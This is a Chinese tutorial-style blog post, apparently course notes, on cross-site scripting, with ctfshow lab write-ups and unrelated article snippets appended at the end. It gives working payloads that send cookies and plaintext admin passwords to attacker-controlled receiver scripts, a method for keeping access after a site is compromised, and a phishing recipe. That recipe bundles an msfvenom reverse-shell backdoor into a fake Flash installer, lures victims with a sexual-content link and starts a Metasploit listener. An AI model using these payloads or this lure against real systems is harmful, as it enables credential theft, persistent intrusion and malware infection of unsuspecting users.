安全基础~通用漏洞4
文章目录
- 知识补充
- XSS跨站脚本
- **原理**
- **攻击类型**
- XSS-后台植入Cookie&表单劫持
- XSS-Flash钓鱼配合MSF捆绑上线
- ctfshow XSS靶场练习
知识补充
SQL注入小迪讲解
文件上传小迪讲解
文件上传中间件解析
XSS跨站脚本
xss平台:
https://xss.pt/
原理
恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。
攻击类型
1、反射型XSS(非持久型XSS)
又称非持久型XSS。之所以称为反射型XSS,执行代码从目标服务器通过错误信息、搜索结果等等方式“反射”回来:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。
攻击者通过电子邮件等方式给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,特有的恶意代码参数被 HTML 解析、执行。

2、存储型XSS(持久型XSS)
又称持久型XSS,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。
一般存在于 Form 表单提交等交互功能,如发帖留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

3、DOM-based 型
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。
示例展示:
-
x接收到值会在页面中显示(反射型)。
假如传输x的值改成JavaScript代码,就会出现弹窗:
正常写法:http://127.0.0.1:8081/web/mysql/xss.php?x=12345
弹窗写法:http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>
查看源代码发现会插入到HTML页面中

-
查看页面返回,有标签,标题等展示(存储型)

逐一测试发现其在标签处进行css插入时会出现XSS


发布出去之后,点击就会弹窗

-
传参时出现ks,检查发现它在title处有出现,测试是否具有XSS(反射型)

用</title>标签将其闭合,观察情况,发现其已经产生效果

直接用跨站语句执行,出现结果

- 平台:useragent.openadmintools.com
访问这个平台,可以发现他抓取了浏览器信息。从新进行访问,抓包,修改数据包UA头。

发送数据包

- 下订单,留言一般会在后台显示,前台进行留言,后台进行查看。这就形成了xss攻击

参考文章1
参考文章2
XSS-后台植入Cookie&表单劫持
条件:已取得相关web权限后 获取cookie的时候有时候会获取不全(phpsessid验证) 表单劫持可以得到一些权限维持,密文密码解密不了。可以通过他来获取明文账号密码。
已经取得了权限,要对后台的权限进行长期控制,可以借助xss盗取cookie,把他写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持 这种方法即使他把后台账号密码改了,也可以进行权限维持。(不会被后门工具识别。) 比如:登录的框页面http://127.0.0.1:8105/admin/login/login.php 登录成功后会跳转到http://127.0.0.1:8105/admin/index.php?lang=cn 我们就可以在登录成功的admin/index.php上进行操作,写入<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 进行登录,然后就可以触发到相对应的代码。

可以观察到,他加载的数据包的内容

-
这样,只要登录成功就能获取,就能进行实时控制。进行了权限维持。 但是有一些网站不采用cookie,即使获取到了,但是还是不能登录。 正常来讲,访问这个地址:http://127.0.0.1:8105/admin/index.php?lang=cn 进行抓包修改cookie: UM_distinctid=17f38be65b3495-049fe07b7f19bd-e726559-1fa400-17f38be65b4b7d; CNZZDATA1670348=cnzz_eid%3D674406514-1645919148-%26ntime%3D1645919148; coul=8; lastvisit=0%091645924524%09%2F; _ac_app_ua=a0540fb14f9cd9d34f; recordurl=%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fnews%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252Fjob%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F%2Chttp%253A%252F%252F127.0.0.1%253A8105%252F; PHPSESSID=e8gt6fhf1ba01jln0m6t0ljni1

-
但是返回包里明显还是登录不成功。 正确的cookie信息:UM_distinctid=17e46c24838315-027dd22377488f8-1262694a-144000-17e46c24839418; CNZZDATA3801251=cnzz_eid%3D1994470479-1641863151-%26ntime%3D1645228788; CNZZDATA1670348=cnzz_eid%3D1668791702-1645652947-%26ntime%3D1645652947; PHPSESSID=smd97a9vae15lsg0tf2claaoi3 可以得知他获取的cookie是不全的,或者说错误的。一般来说少了phpsessid (有防护)
那么就来进行实时的获取明文账号密码,这样才能进行权限维持。需要一定的基础量,能读懂数据的传输流程。 那么现在观察一下这个网站的登录流程是怎样的。 登录地址http://127.0.0.1:8105/admin/login/login.php找到想对应的代码段D:\phpstudy_pro\WWW\xss-MetInfo5.1.4\admin\login\login.php抓取登录的数据包
-
可以看到,他提交的数据包是给了
login_check.php文件,也就是说,他的账号密码是发送给了login_check.php这个文件。 查看提交的数据
-
action=login&loginlang=login.php%3Flangset%3Dcn&login_name=admin&login_pass=admin&Submit=%E7%99%BB%E5%BD%95 再次观察
login_check.php
-
可以知道两个接受账号密码的变量: 接受账号: m e t i n f o a d m i n n a m e 接受密码: metinfo_admin_name 接受密码: metinfoadminname接受密码:metinfo_admin_pass 然后用到JavaScript语句来进行账号密码的发送,那么应该怎么构造JavaScript语句呢? 将账号发送到某个地方 语句构造:
<script src="http://www.xiaodi8.com/get.php?user="账号"&pass"密码""></script>在某个地方来实现接收。get.php实现接收 构造payload: $up='<script src=http://127.0.0.1:8081/web/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>'; echo $up;
在http://127.0.0.1:8081/web中穿件get.php代码。 get.php代码:<?php $u=$_GET['user']; $p=$_GET['pass']; $myfile=fopen("newfile.txt","a+"); fwrite($myfile,$u); fwrite($myfile,'|');fwrite($myfile,$p); fwrite($myfile,'\n');fclose($myfile); ?>接收账号密码,写到newfile文件中
然后尝试登录这个网站中,可以看到他尝试请求http://127.0.0.1:8081/web/get.php这个网站,把admin和password发送出去
-
在登录下输入的账号密码,就会发送到newfile中记录,这个时候就可以进行测试了。
主要解决两个问题:
1.cookie失败的时候(截取不到)。 2.取得一些权限,密码解密不了。
XSS-Flash钓鱼配合MSF捆绑上线
-
条件:beef上线受控后或直接钓鱼(受害者爱看SESE) 1、生成后门,攻击是pc端的。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.100.167.248 LPORT=1111 -f exe > flash.exe
-
flash下载官方地址:https://www.flash.cn/ 我们构造的flash下载地址:
http://127.0.0.1:8106/(一般是构造一个比较逼真的网址。) 把后门放在D:\phpstudy_pro\WWW\web\目录上 打开构造好的地址,index.html文件,把立即下载这个地址改为后门下载地址:http://127.0.0.1:8081/web/flash.exe

-
运行exe并且安装正常的文件,所以需要捆绑正常文件。 在官方网站下载一个正常的flash文件 正常文件:
flashcenter_pp_ax_install_cn.exe后门文件:flash.exe 把两个文件放在一起压缩。

选择高级,自解压选项,解压到c:\windows\temp

-
点击设置,进行配置

-
在确定,压缩为rar文件。然后再把文件名一改,改成
flash_install.exe文件,修改图标。 用到Restorator2018_Full_1793_FIX工具。 把两个exe文件拖进去,然后把官方的图片导出。

-
然后导入到对应的文件中,启动msf监听:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 1111 run

-
那个别人是怎么访问你这个地址呢?
1.通过xss beef来让浏览器自动访问下载后门,并且运行
2.直接发给对方诱使他去访问。 通过发送消息,比如小迪与某主播瑟瑟画面流出:http://127.0.0.1:8081/web/诱惑.html 当访问想看的时候

-
访问,直接跳转,然后配合后门上线

-
执行后门,上线完成

这一类遇到的问题:免杀问题(后门下载下来会遭到火绒等查杀)
xss漏洞小展现
ctfshow XSS靶场练习
ctfshow默认会有一个机器人去访问触发的跨站,flag一般都隐藏在cookie中。
参考文章
方法一:
利用xss平台生成链接:https://xss.pt/xss.php

不过平台好像不能用了

方法二:
自动接收脚本
在自己的服务器上放一个PHP代码
# a.php
<?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);
?>
<script>document.location.href='http://xxx/a.php?cookie='+document.cookie</script>
JavaScript的 document.cookie 将以字符串的方式返回所有的cookie,类型格式: cookie1=value; cookie2=value;
让控制太进行跳转访问window.location.href='http://xxx/a.php' 这样回车就会跳转到http://xxx/a.php
可以使用:http://ceye.io/ 网络安全工具,用于监控和跟踪网络流量,以便发现潜在的安全漏洞和攻击
XSS绕过总结参考
web 316
首先测试一下<script>alert(1)</script>,弹窗成功
注册过防火墙,利用http://ceye.io/ 网络安全工具


<script>window.location.href='你的ceye地址/'+document.cookie</script>
<script>location.href='http://你的ceye地址/'+document.cookie</script>
<script>window.open('http://你的ceye地址/'+document.cookie)</script>
web 317-319简单过滤
- 317过滤script
- 318过滤img
<body onload="window.location.href='http://xxx/a.php?1='+document.cookie"></body>- xss平台的十六进制编码格式
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。<sCRiPt sRC="https://xss.pt/0st4"></sCrIpT>>
web320-322-过滤空格
使用tab、\反斜杠或/**/代替空格
web323-326-过滤iframe
- web322、324过滤 ; 分号
- web325过滤 . 点号
<body/onload="window.location.href='http://yours-ip/a.php?1='+document.cookie"></body>
eg:325

web327
收件人poster必须是admin,才能发送,什么原因,I don’t konw
发件人和信的内容填写xss payload即可
web328- js拿管理员cookie
参考
存在有登录,有注册。
注册之后登录,发现没有管理员权限,无法查看



在用户管理中,有账号密码等显示(这里不是管理员不让显示)
思路: 后台管理员有功能页面,能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码,在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码,获取到管理员的cookie值,就可以进行用户的查看。
那么就注册一个JS
<script>window.location.href='http://fd35br.ceye.io/'+document.cookie</script>,显示注册成功
获取到PHPSESSID,直接在cookie中添加此内容

使用bp抓包,修改cookie,将sessid换成我们刚刚得到的id



web329- js拿管理员cookie失效
利用上一关得问题,不过拿到cookie之后就失效了,我们已经知道了flag出现的位置,直接获取网页源码的元素,过滤到该点即可
构造payload
<script>
$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){window.location.href='http://你的ceye地址/'+value.innerHTML;} });
</script>
需要一次完成,后面的dacaiji就是flag

web330- xsrf
前端存在修改密码,且没有token,存在csrf

在修改密码时,抓包,发现存在一个api接口/api/change.php?p=123,此时修改的密码就是123

所以只要将注册内容可以跳转到该接口,使得admin访问,即可重置管理员密码为想要设置的内容。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
其中127.0…0.1是服务器本身地址
使用密码123登录admin用户,查看flag
web331- xsrf post
同样有修改密码的地方,但是是post提交数据,抓包分析
在 url/js/select.js 中存在 post json 方式修改密码请求的js代码
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>
修改管理员密码
web332-333
参考链接:https://blog.csdn.net/rfrder/article/details/114079028#t17
相关文章:
安全基础~通用漏洞4
文章目录 知识补充XSS跨站脚本**原理****攻击类型**XSS-后台植入Cookie&表单劫持XSS-Flash钓鱼配合MSF捆绑上线ctfshow XSS靶场练习 知识补充 SQL注入小迪讲解 文件上传小迪讲解 文件上传中间件解析 XSS跨站脚本 xss平台: https://xss.pt/ 原理 恶意攻击者…...
2024/2/12 图的基础知识 2
目录 查找文献 P5318 【深基18.例3】查找文献 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 有向图的拓扑序列 848. 有向图的拓扑序列 - AcWing题库 最大食物链计数 P4017 最大食物链计数 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 查找文献 P5318 【深基18.例3】…...
无人机飞行原理,多旋翼无人机飞行原理详解
多旋翼无人机升空飞行的首要条件是动力,有了动力才能驱动旋粪旋转,才能产生克服重力所必需的升力。使旋翼产生升力,进而推动多旋翼无人机升空飞行的一套设备装置称为动力装置,包括多旋翼无人机的发动机以及保证发动机正常工作所必…...
docker本地目录挂载
小命令 1、查看容器详情 docker inspect 容器名称 还是以nginx为例,上篇文章我们制作了nginx静态目录的数据卷,此时查看nginx容器时会展示出来(docker inspect nginx 展示信息太多,这里只截图数据卷挂载信息)&#…...
使用C++从零开始,自己写一个MiniWeb
第一步:新建项目 1、打开VS点击创建新项目 2、选择空项目并点下一步(切记不能选错项目类型) 3、填写项目名称和路径,点击创建即可 新建好后项目是这样的比较干净 4、右击源文件,点击添加,新建http.cpp文件…...
Android Graphics 图像显示系统 - 开篇
“ 随着学习的不断深入和工作经验的积累,欲将之前在博客中整理的Android Graphics知识做进一步整理,并纠正一些理解上的错误,故开设Graphics主题系列文章 ” 序言 由于工作需要,也源于个人兴趣,终于下决心花时间整理一…...
机器学习在各个行业的应用介绍
随着科技的飞速发展,机器学习已经从实验室走向了现实世界,逐渐成为各行各业不可或缺的工具。从金融领域到医疗健康,从零售市场到制造业,机器学习正在改变着我们的工作方式和生活质量。 本文将深入探讨机器学习在以下几个领域的应用…...
【生产实测有效】Windows命令行查看激活状态脚本
Windows查看激活状态关键代码 通过windows server 自带的PowerShell来执行 Get-WmiObject SoftwareLicensingProduct | Select-Object -Property Description, LicenseStatus | findstr "Operating System"|findstr "1$"Get-WmiObject SoftwareLicensingPr…...
简单的Udp服务器
目录 简单的UDP网络程序1.1 UdpServer.hpp1.2 UdpClient.cc1.3 main.cc1.4 makefile1.5 log.hpp 简单的UDP网络程序 1.1 UdpServer.hpp #pragma once#include <iostream> using namespace std;#include <unistd.h> #include <sys/types.h> #include <sy…...
【Linux进程间通信】用管道实现简单的进程池、命名管道
【Linux进程间通信】用管道实现简单的进程池、命名管道 目录 【Linux进程间通信】用管道实现简单的进程池、命名管道为什么要实现进程池?代码实现命名管道创建一个命名管道 理解命名管道匿名管道与命名管道的区别命名管道的打开规则 作者:爱写代码的刚子…...
Linux操作系统基础(九):Linux用户与权限
文章目录 Linux用户与权限 一、文件权限概述 二、终端命令:组管理 三、终端命令:用户管理 1、创建用户 、 设置密码 、删除用户 2、查看用户信息 3、su切换用户 4、sudo 4.1、给指定用户授予权限 4.2、使用 用户 zhangsan登录, 操作管理员命令…...
蓝桥杯——第 5 场 小白入门赛(c++详解!!!)
文章目录 1 十二生肖基本思路: 2 欢迎参加福建省大学生程序设计竞赛基本思路:代码: 3 匹配二元组的数量基本思路:代码: 4 元素交换基本思路:代码: 5 下棋的贝贝基本思路:代码: 6 方程…...
Codeforces Round 303 (Div. 2)C. Kefa and Park(DFS、实现)
文章目录 题面链接题意题解代码总结 题面 链接 C. Kefa and Park 题意 求叶节点数量,叶节点满足,从根节点到叶节点的路径上最长连续1的长度小于m 题解 这道题目主要是实现,当不满足条件时直接返回。 到达叶节点后统计答案,用…...
797. 差分
Problem: 797. 差分 文章目录 思路解题方法复杂度Code 思路 这是一个差分数组的问题。差分数组的主要适用场景是频繁对原始数组的某一个区间进行增减操作。这种操作是区间修改操作,在这种操作下,差分数组只需要对区间的两个端点进行操作,时间…...
2024.2.5 vscode连不上虚拟机,始终waiting for server log
昨天还好好的,吃着火锅,做着毕设,突然就被vscode给劫了。 起初,哥们跟着网上教程有模有样地删除了安装包缓存,还删除了.vscode-server,发现没卵用,之前都是搜那个弹窗报错。 后来发现原来是vsco…...
CSS基础---新手入门级详解
CSS:层叠样式表 CSS(Cascading Style Sheets,层叠样式表),是一种用来为结构化文档添加样式(字体、间距和颜色)的计算机语言,css扩展名为.css。 实例: <!DOCTYPE html><html> <head><…...
Python中Pymysql库的常见用法和代码示例
关注B站可以观看更多实战教学视频:肆十二-的个人空间-肆十二-个人主页-哔哩哔哩视频 (bilibili.com) pymysql是一个用于连接MySQL数据库的Python库,它允许你执行SQL查询并处理返回的结果。以下是pymysql库的一些常见用法和代码示例: 1. 安装…...
使用 WPF + Chrome 内核实现高稳定性的在线客服系统复合应用程序
对于在线客服与营销系统,客服端指的是后台提供服务的客服或营销人员,他们使用客服程序在后台观察网站的被访情况,开展营销活动或提供客户服务。在本篇文章中,我将详细介绍如何通过 WPF Chrome 内核的方式实现复合客服端应用程序。…...
fastapi mysql 开发restful 3
pip install mysql-connector-python pymysql 数据库链接 创建src目录,里面创建db.py 代码如下: # 导入mysql.connector模块,该模块提供了与MySQL数据库进行连接和交互的功能。 import mysql.connector # 定义一个函数get_db_connectio…...
【Uniapp uni-app学习与快速上手——详细讲解】
Uniapp uni-app学习与快速上手——详细讲解 1. 介绍2. Uni-app 学习资源3. 快速上手4. 开始第一个项目5. 调试和发布 1. 介绍 Uni-app 是一个使用 Vue.js 编写多端应用的前端框架。开发者可以编写一份代码,然后发布到iOS、Android、网页(响应式…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
python/java环境配置
环境变量放一起 python: 1.首先下载Python Python下载地址:Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个,然后自定义,全选 可以把前4个选上 3.环境配置 1)搜高级系统设置 2…...
Python爬虫实战:研究feedparser库相关技术
1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
Linux系统部署KES
1、安装准备 1.版本说明V008R006C009B0014 V008:是version产品的大版本。 R006:是release产品特性版本。 C009:是通用版 B0014:是build开发过程中的构建版本2.硬件要求 #安全版和企业版 内存:1GB 以上 硬盘…...
